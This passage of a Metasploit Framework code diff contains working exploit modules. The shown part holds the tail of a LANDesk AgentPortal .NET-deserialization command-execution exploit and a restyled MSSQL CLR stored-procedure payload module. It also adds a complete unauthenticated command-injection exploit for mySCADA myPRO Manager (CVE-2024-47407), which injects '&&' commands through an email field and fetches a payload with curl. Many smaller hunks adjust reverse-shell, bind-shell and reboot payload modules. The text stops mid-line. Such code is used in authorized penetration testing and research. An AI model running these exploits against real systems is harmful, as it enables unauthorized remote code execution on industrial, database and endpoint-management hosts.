IAgentPortal.new( + datastore['RHOST'], + datastore['RPORT'], + 'LANDeskAgentPortal/LDSM', + context: { 'Msf' => framework, 'MsfExploit' => self } + ) + client.connect + vprint_status('Connected to the remote end point') + else + client = @nrtp_client + end + + client.do_request(command) + return nil unless result_delay >= 0 + + sleep result_delay + client.do_get_result + end +end + +class IAgentPortal < Rex::Proto::MsNrtp::Client + def recv_binary + Msf::Util::DotNetDeserialization::Types::SerializedStream.read(recv) + end + + def send_recv_binary(serialized_stream) + send_binary(serialized_stream) + recv_binary + end + + def do_request(shell_command) + ss_response = send_recv_binary(ss_request(shell_command)) + method_return = ss_response.records.find { |record| record.record_type == Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodReturn] } + method_return.record_value.return_value.val.value + end + + def do_get_result + ss_response = send_recv_binary(ss_get_result) + ass = ss_response.records.find { |record| record.record_type == Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleString] } + return nil unless ass + + ass.record_value.members.first.record_value.string.value + end + + private + + def ss_get_result + Msf::Util::DotNetDeserialization::Types::SerializedStream.new({ + records: [ + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SerializedStreamHeader], record_value: { major_version: 1 } }, + { + record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodCall], + record_value: { + message_enum: { + no_context: 1, + args_inline: 1 + }, + method_name: 'GetResult', + type_name: 'LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb', + args: [{ primitive_type_enum: Msf::Util::DotNetDeserialization::Enums::PrimitiveTypeEnum[:String], val: 'localhost' }] + } + }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MessageEnd] } + ] + }) + end + + def ss_request(shell_command) + Msf::Util::DotNetDeserialization::Types::SerializedStream.new({ + records: [ + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SerializedStreamHeader], record_value: { root_id: 1, header_id: -1, major_version: 1, minor_version: 0 } }, + { + record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MethodCall], + record_value: { + message_enum: { + method_signature_in_array: 1, + no_context: 1, + args_in_array: 1 + }, + method_name: 'Request', + type_name: 'LANDesk.AgentPortal.IAgentPortal, AgentPortal, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' + } + }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], record_value: { array_info: { obj_id: 1, member_count: 2 } } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 2 } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 3 } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ArraySingleObject], record_value: { array_info: { obj_id: 2, member_count: 4 } } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 4, string: 'localhost' } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 5 } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 6, string: 'cmd.exe' } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 7, string: "/c #{shell_command}" } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryArray], record_value: { obj_id: 3, binary_array_type_enum: 0, rank: 1, lengths: [4], type_enum: 3, additional_type_info: 'System.Type' } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 9 } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MemberReference], record_value: { id_ref: 8 } }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryLibrary], record_value: { library_id: 11, library_name: 'APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' } }, + { + record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ClassWithMembersAndTypes], + record_value: { + class_info: { obj_id: 5, name: 'LANDesk.AgentPortal.IAgentPortalBase+ActionEnum', member_count: 1, member_names: ['value__'] }, + member_type_info: { binary_type_enums: [0], additional_infos: [8] }, + library_id: 11, + member_values: [1] + } + }, + { + record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:SystemClassWithMembersAndTypes], + record_value: { + class_info: { obj_id: 8, name: 'System.UnitySerializationHolder', member_count: 3, member_names: ['Data', 'UnityType', 'AssemblyName'] }, + member_type_info: { binary_type_enums: [1, 0, 1], additional_infos: [8] }, + member_values: [{ record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 12, string: 'System.String' } }, 4, { record_type: 6, record_value: { obj_id: 13, string: 'mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' } }] + } + }, + { + record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:ClassWithId], + record_value: { + obj_id: 9, + metadata_id: 8, + member_values: [ + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 14, string: 'LANDesk.AgentPortal.IAgentPortalBase+ActionEnum' } }, + 4, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:BinaryObjectString], record_value: { obj_id: 15, string: 'APCommon, Version=11.0.0.0, Culture=neutral, PublicKeyToken=da26723fc8ab14fb' } } + ] + } + }, + { record_type: Msf::Util::DotNetDeserialization::Enums::RecordTypeEnum[:MessageEnd], record_value: {} } + ] + }) + end +end diff --git a/modules/exploits/windows/mssql/mssql_clr_payload.rb b/modules/exploits/windows/mssql/mssql_clr_payload.rb index 313c14d07b61..6fca0a513513 100644 --- a/modules/exploits/windows/mssql/mssql_clr_payload.rb +++ b/modules/exploits/windows/mssql/mssql_clr_payload.rb @@ -9,45 +9,48 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::MSSQL def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution', - 'Description' => %q{ - This module executes an arbitrary native payload on a Microsoft SQL - server by loading a custom SQL CLR Assembly into the target SQL - installation, and calling it directly with a base64-encoded payload. - - The module requires working credentials in order to connect directly to the - MSSQL Server. - - This method requires the user to have sufficient privileges to install a custom - SQL CRL DLL, and invoke the custom stored procedure that comes with it. - - This exploit does not leave any binaries on disk. - - Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64). - }, - 'Author' => - [ - 'Lee Christensen', # original idea/research + super( + update_info( + info, + 'Name' => 'Microsoft SQL Server Clr Stored Procedure Payload Execution', + 'Description' => %q{ + This module executes an arbitrary native payload on a Microsoft SQL + server by loading a custom SQL CLR Assembly into the target SQL + installation, and calling it directly with a base64-encoded payload. + + The module requires working credentials in order to connect directly to the + MSSQL Server. + + This method requires the user to have sufficient privileges to install a custom + SQL CRL DLL, and invoke the custom stored procedure that comes with it. + + This exploit does not leave any binaries on disk. + + Tested on MS SQL Server versions: 2005, 2012, 2016 (all x64). + }, + 'Author' => [ + 'Lee Christensen', # original idea/research 'Nathan Kirk', # extra research/blog post 'OJ Reeves' # Metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['URL', 'http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/'] + 'License' => MSF_LICENSE, + 'References' => [ + # as of January 9, 2025 http://sekirkity.com is now a banner ad site w/ NSFW content. + ['URL', 'https://web.archive.org/web/20200810021536/http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/'] ], - 'Platform' => 'win', - 'Arch' => [ARCH_X86, ARCH_X64], - 'Targets' => [['Automatic', {}]], - 'DefaultTarget' => 0, - 'DisclosureDate' => '1999-01-01' - )) + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [['Automatic', {}]], + 'DefaultTarget' => 0, + 'DisclosureDate' => '1999-01-01' + ) + ) register_options( [ OptString.new('DATABASE', [true, 'The database to load the CLR Assembly into.', 'master']) - ]) + ] + ) end def check @@ -74,7 +77,7 @@ def check end def get_sql_version_string - mssql_query("select @@version", false)[:rows].first[0] + mssql_query('select @@version', false)[:rows].first[0] end def get_sql_architecture(sql_version_string) @@ -101,7 +104,7 @@ def set_trustworthy(on) result[:errors].each do |err| vprint_error(err) end - fail_with(Failure::Unknown, "Failed to change Trustworthy setting") + fail_with(Failure::Unknown, 'Failed to change Trustworthy setting') end end @@ -112,18 +115,18 @@ def is_trustworthy end def enable_clr(enable) - query = %Q^ + query = %( EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'clr enabled', #{enable ? 1 : 0}; RECONFIGURE; - ^ + ) result = mssql_query(query, false) unless result[:errors].empty? result[:errors].each do |err| vprint_error(err) end - fail_with(Failure::Unknown, "Failed to change CLR setting") + fail_with(Failure::Unknown, 'Failed to change CLR setting') end end @@ -180,14 +183,14 @@ def exploit # Convert the assembly to the required format for execution of the stored # procedure to create the custom stored proc hex_assembly = "0x#{assembly.unpack('H*')[0]}" - asm_name = Rex::Text.rand_text_alpha(rand(4) + 8) + asm_name = Rex::Text.rand_text_alpha(rand(8..11)) query = "CREATE ASSEMBLY [#{asm_name}] AUTHORIZATION [dbo] FROM #{hex_assembly} WITH PERMISSION_SET = UNSAFE" print_status('Adding custom payload assembly ...') mssql_query(query, false) - proc_name = Rex::Text.rand_text_alpha(rand(4) + 8) - param_name = Rex::Text.rand_text_alpha(rand(4) + 8) + proc_name = Rex::Text.rand_text_alpha(rand(8..11)) + param_name = Rex::Text.rand_text_alpha(rand(8..11)) query = "CREATE PROCEDURE [dbo].[#{proc_name}](@#{param_name} AS NVARCHAR(MAX)) AS EXTERNAL NAME [#{asm_name}].[StoredProcedures].[ExecuteB64Payload]" print_status('Exposing payload execution stored procedure ...') @@ -214,7 +217,6 @@ def exploit print_status('Restoring Trustworthy setting ...') set_trustworthy(false) end - ensure disconnect end diff --git a/modules/exploits/windows/scada/mypro_mgr_cmd.rb b/modules/exploits/windows/scada/mypro_mgr_cmd.rb new file mode 100644 index 000000000000..29979b58215e --- /dev/null +++ b/modules/exploits/windows/scada/mypro_mgr_cmd.rb @@ -0,0 +1,110 @@ +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'mySCADA myPRO Manager Unauthenticated Command Injection (CVE-2024-47407)', + 'Description' => %q{ + Unauthenticated Command Injection in MyPRO Manager <= v1.2 from mySCADA. + The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of the myscada9 administrative user that is automatically added by the product. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module + 'References' => [ + [ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-24-326-07'], + [ 'CVE', '2024-47407'] + ], + 'DisclosureDate' => '2024-11-21', + 'DefaultOptions' => { + 'RPORT' => 34022, + 'SSL' => 'False' + }, + 'Platform' => 'win', + 'Arch' => [ ARCH_CMD ], + 'Targets' => [ + [ + 'Windows_Fetch', + { + 'Arch' => [ ARCH_CMD ], + 'Platform' => 'win', + 'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' }, + 'Type' => :win_fetch + } + ] + ], + 'DefaultTarget' => 0, + + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + OptString.new( + 'TARGETURI', + [ true, 'The URI for the MyPRO Manager web interface', '/' ] + ) + ] + ) + end + + def check + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'assets/index-Aup6jYxO.js') + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + return CheckCode::Unknown + end + + if res.to_s =~ /const v="([^"]+)"/ + version = ::Regexp.last_match(1) + vprint_status('Version retrieved: ' + version) + if Rex::Version.new(version) <= Rex::Version.new('1.2') + return CheckCode::Appears + end + + return CheckCode::Safe + end + return CheckCode::Unknown + end + + def exploit + execute_command(payload.encoded) + end + + def execute_command(cmd) + exec_mypro_mgr(cmd) + print_status('Exploit finished, check thy shell.') + end + + def exec_mypro_mgr(cmd) + post_data = { + 'command' => 'testEmail', + 'email' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com&&#{cmd} #" + } + + res = send_request_cgi({ + 'method' => 'POST', + 'ctype' => 'application/json', + 'data' => JSON.generate(post_data), + 'uri' => normalize_uri(target_uri.path, 'get') + }) + + if res&.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned. Depending on the payload, we might not get a response at all due to a timeout. + print_good('Command successfully executed, check your shell.') + else + print_error('Unexpected or no reply received.') + end + end + +end diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 1b79c4fffb2b..80a18fa86b37 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -198,9 +198,7 @@ def report_auth def create_simple_smb_client! if session print_status("Using existing session #{session.sid}") - client = session.client - self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client) - + self.simple = session.simple_client else print_status('Connecting to the server...') connect diff --git a/modules/payloads/singles/apple_ios/aarch64/shell_reverse_tcp.rb b/modules/payloads/singles/apple_ios/aarch64/shell_reverse_tcp.rb index 7c5de45bf0c4..ae0786c10440 100644 --- a/modules/payloads/singles/apple_ios/aarch64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/apple_ios/aarch64/shell_reverse_tcp.rb @@ -9,7 +9,6 @@ module MetasploitModule CachedSize = 152 include Msf::Payload::Single - include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/aarch64/shell_reverse_tcp.rb b/modules/payloads/singles/linux/aarch64/shell_reverse_tcp.rb index a15bef0f47d5..367d2d4a3d66 100644 --- a/modules/payloads/singles/linux/aarch64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/aarch64/shell_reverse_tcp.rb @@ -9,7 +9,7 @@ module MetasploitModule CachedSize = 152 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::Aarch64::Prepends include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb b/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb index ec1a63195a7b..e8a76d082e13 100644 --- a/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb @@ -9,7 +9,6 @@ module MetasploitModule CachedSize = 118 include Msf::Payload::Single - include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/armle/adduser.rb b/modules/payloads/singles/linux/armle/adduser.rb index 58db13ad4f52..2d7d5da0b15e 100644 --- a/modules/payloads/singles/linux/armle/adduser.rb +++ b/modules/payloads/singles/linux/armle/adduser.rb @@ -16,7 +16,7 @@ module MetasploitModule CachedSize = 119 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::Armle::Prepends def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/singles/linux/armle/exec.rb b/modules/payloads/singles/linux/armle/exec.rb index ba4e48c7be0d..896a448e31a4 100644 --- a/modules/payloads/singles/linux/armle/exec.rb +++ b/modules/payloads/singles/linux/armle/exec.rb @@ -16,7 +16,7 @@ module MetasploitModule CachedSize = 29 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::Armle::Prepends def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/singles/linux/armle/shell_bind_tcp.rb b/modules/payloads/singles/linux/armle/shell_bind_tcp.rb index 3152c584709f..ae8779831d41 100644 --- a/modules/payloads/singles/linux/armle/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/armle/shell_bind_tcp.rb @@ -9,7 +9,7 @@ module MetasploitModule CachedSize = 208 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::Armle::Prepends include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb b/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb index 32bcbe2c4301..9ee7eb5dcdbf 100644 --- a/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb @@ -9,7 +9,7 @@ module MetasploitModule CachedSize = 172 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::Armle::Prepends include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/mipsbe/exec.rb b/modules/payloads/singles/linux/mipsbe/exec.rb index 85d4c61b7f75..965222627335 100644 --- a/modules/payloads/singles/linux/mipsbe/exec.rb +++ b/modules/payloads/singles/linux/mipsbe/exec.rb @@ -10,7 +10,6 @@ module MetasploitModule CachedSize = 52 include Msf::Payload::Single - include Msf::Payload::Linux def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/singles/linux/mipsbe/reboot.rb b/modules/payloads/singles/linux/mipsbe/reboot.rb index a16cf8ab783a..1b65babdb45c 100644 --- a/modules/payloads/singles/linux/mipsbe/reboot.rb +++ b/modules/payloads/singles/linux/mipsbe/reboot.rb @@ -8,7 +8,6 @@ module MetasploitModule CachedSize = 32 include Msf::Payload::Single - include Msf::Payload::Linux def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb index 31e039c93f42..3c490f9a114d 100644 --- a/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb @@ -9,7 +9,6 @@ module MetasploitModule CachedSize = 232 include Msf::Payload::Single - include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb index 1ef5c4ec2373..cefb61fb45e5 100644 --- a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb @@ -9,7 +9,6 @@ module MetasploitModule CachedSize = 184 include Msf::Payload::Single - include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/mipsle/exec.rb b/modules/payloads/singles/linux/mipsle/exec.rb index 0b8873ded27f..e1299a814a5f 100644 --- a/modules/payloads/singles/linux/mipsle/exec.rb +++ b/modules/payloads/singles/linux/mipsle/exec.rb @@ -10,7 +10,6 @@ module MetasploitModule CachedSize = 52 include Msf::Payload::Single - include Msf::Payload::Linux def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/singles/linux/mipsle/reboot.rb b/modules/payloads/singles/linux/mipsle/reboot.rb index 84172e73353a..e533f15f66f7 100644 --- a/modules/payloads/singles/linux/mipsle/reboot.rb +++ b/modules/payloads/singles/linux/mipsle/reboot.rb @@ -8,7 +8,6 @@ module MetasploitModule CachedSize = 32 include Msf::Payload::Single - include Msf::Payload::Linux def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb index 8850fe020c22..5c411a555618 100644 --- a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb @@ -9,7 +9,6 @@ module MetasploitModule CachedSize = 232 include Msf::Payload::Single - include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb index 4ec88cb4e18e..a4c4d105e8eb 100644 --- a/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb @@ -9,7 +9,6 @@ module MetasploitModule CachedSize = 184 include Msf::Payload::Single - include Msf::Payload::Linux include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb b/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb index d40e531e5486..6935f809ee44 100644 --- a/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb @@ -9,7 +9,7 @@ module MetasploitModule CachedSize = 223 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::Ppc::Prepends include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/ppc/shell_find_port.rb b/modules/payloads/singles/linux/ppc/shell_find_port.rb index 5246b984bb7c..5f9a1e4900e3 100644 --- a/modules/payloads/singles/linux/ppc/shell_find_port.rb +++ b/modules/payloads/singles/linux/ppc/shell_find_port.rb @@ -9,7 +9,7 @@ module MetasploitModule CachedSize = 171 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::Ppc::Prepends include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb b/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb index 42777fbcb06e..38b79f0110ac 100644 --- a/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb @@ -9,7 +9,7 @@ module MetasploitModule CachedSize = 183 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::Ppc::Prepends include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb b/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb index 7f52841110c3..ccc84496b282 100644 --- a/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb @@ -9,7 +9,7 @@ module MetasploitModule CachedSize = 223 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::Ppc::Prepends include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/ppc64/shell_find_port.rb b/modules/payloads/singles/linux/ppc64/shell_find_port.rb index d1e046e40c8f..ed1926b7122c 100644 --- a/modules/payloads/singles/linux/ppc64/shell_find_port.rb +++ b/modules/payloads/singles/linux/ppc64/shell_find_port.rb @@ -9,7 +9,7 @@ module MetasploitModule CachedSize = 171 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::Ppc::Prepends include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb b/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb index 6b66f8280349..1a22c6d8ff72 100644 --- a/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb @@ -9,7 +9,7 @@ module MetasploitModule CachedSize = 183 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::Ppc::Prepends include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/riscv32le/exec.rb b/modules/payloads/singles/linux/riscv32le/exec.rb index 59e903ef3b62..922540cf0918 100644 --- a/modules/payloads/singles/linux/riscv32le/exec.rb +++ b/modules/payloads/singles/linux/riscv32le/exec.rb @@ -7,7 +7,6 @@ module MetasploitModule CachedSize = 96 include Msf::Payload::Single - include Msf::Payload::Linux def initialize(info = {}) super( diff --git a/modules/payloads/singles/linux/riscv32le/reboot.rb b/modules/payloads/singles/linux/riscv32le/reboot.rb index 7cd0d94cea61..c3161b3d48c3 100644 --- a/modules/payloads/singles/linux/riscv32le/reboot.rb +++ b/modules/payloads/singles/linux/riscv32le/reboot.rb @@ -7,7 +7,6 @@ module MetasploitModule CachedSize = 32 include Msf::Payload::Single - include Msf::Payload::Linux def initialize(info = {}) super( diff --git a/modules/payloads/singles/linux/riscv64le/exec.rb b/modules/payloads/singles/linux/riscv64le/exec.rb index 7f04eb77820f..9600bb35d27d 100644 --- a/modules/payloads/singles/linux/riscv64le/exec.rb +++ b/modules/payloads/singles/linux/riscv64le/exec.rb @@ -7,7 +7,6 @@ module MetasploitModule CachedSize = 100 include Msf::Payload::Single - include Msf::Payload::Linux def initialize(info = {}) super( diff --git a/modules/payloads/singles/linux/riscv64le/reboot.rb b/modules/payloads/singles/linux/riscv64le/reboot.rb index bd213cb43718..87278a1db75d 100644 --- a/modules/payloads/singles/linux/riscv64le/reboot.rb +++ b/modules/payloads/singles/linux/riscv64le/reboot.rb @@ -7,7 +7,6 @@ module MetasploitModule CachedSize = 40 include Msf::Payload::Single - include Msf::Payload::Linux def initialize(info = {}) super( diff --git a/modules/payloads/singles/linux/x64/exec.rb b/modules/payloads/singles/linux/x64/exec.rb index 8475354988d1..c2e6aaf35754 100644 --- a/modules/payloads/singles/linux/x64/exec.rb +++ b/modules/payloads/singles/linux/x64/exec.rb @@ -8,7 +8,7 @@ module MetasploitModule CachedSize = 44 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::X64::Prepends def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/singles/linux/x64/pingback_bind_tcp.rb b/modules/payloads/singles/linux/x64/pingback_bind_tcp.rb index 6e9d6fe376c4..6a0847bb720d 100644 --- a/modules/payloads/singles/linux/x64/pingback_bind_tcp.rb +++ b/modules/payloads/singles/linux/x64/pingback_bind_tcp.rb @@ -9,7 +9,7 @@ module MetasploitModule CachedSize = 109 - include Msf::Payload::Linux + include Msf::Payload::Linux::X64::Prepends include Msf::Payload::Single include Msf::Payload::Pingback include Msf::Payload::Pingback::Options diff --git a/modules/payloads/singles/linux/x64/pingback_reverse_tcp.rb b/modules/payloads/singles/linux/x64/pingback_reverse_tcp.rb index 4ff1b6a6115d..156d84339c31 100644 --- a/modules/payloads/singles/linux/x64/pingback_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x64/pingback_reverse_tcp.rb @@ -9,7 +9,7 @@ module MetasploitModule CachedSize = 125 - include Msf::Payload::Linux + include Msf::Payload::Linux::X64::Prepends include Msf::Payload::Single include Msf::Payload::Pingback include Msf::Payload::Pingback::Options diff --git a/modules/payloads/singles/linux/x64/shell_bind_ipv6_tcp.rb b/modules/payloads/singles/linux/x64/shell_bind_ipv6_tcp.rb index 1f53da6a4728..6084a29688d1 100644 --- a/modules/payloads/singles/linux/x64/shell_bind_ipv6_tcp.rb +++ b/modules/payloads/singles/linux/x64/shell_bind_ipv6_tcp.rb @@ -9,7 +9,7 @@ module MetasploitModule CachedSize = 94 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::X64::Prepends include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/x64/shell_bind_tcp.rb b/modules/payloads/singles/linux/x64/shell_bind_tcp.rb index b71f3190561c..d126b9d64f64 100644 --- a/modules/payloads/singles/linux/x64/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/x64/shell_bind_tcp.rb @@ -9,7 +9,7 @@ module MetasploitModule CachedSize = 86 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::X64::Prepends include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb b/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb index 5b5945d25ee9..9bd89bf13c81 100644 --- a/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb +++ b/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb @@ -8,7 +8,7 @@ module MetasploitModule CachedSize = 51 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::X64::Prepends def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/singles/linux/x64/shell_find_port.rb b/modules/payloads/singles/linux/x64/shell_find_port.rb index 5e2cab58b8d3..1c10fcd40793 100644 --- a/modules/payloads/singles/linux/x64/shell_find_port.rb +++ b/modules/payloads/singles/linux/x64/shell_find_port.rb @@ -9,7 +9,7 @@ module MetasploitModule CachedSize = 98 include Msf::Payload::Single - include Msf::Payload::Linux + include Msf::Payload::Linux::X64::Prepends include Msf::Sessions::CommandShellOptions def initialize(info = {}) diff --git a/modules/payloads/singles/linux/x64/shell_reverse_ipv6_tcp.rb b/modules/payloads/singles/linux/x64/shell_reverse_ipv6_tcp.rb index 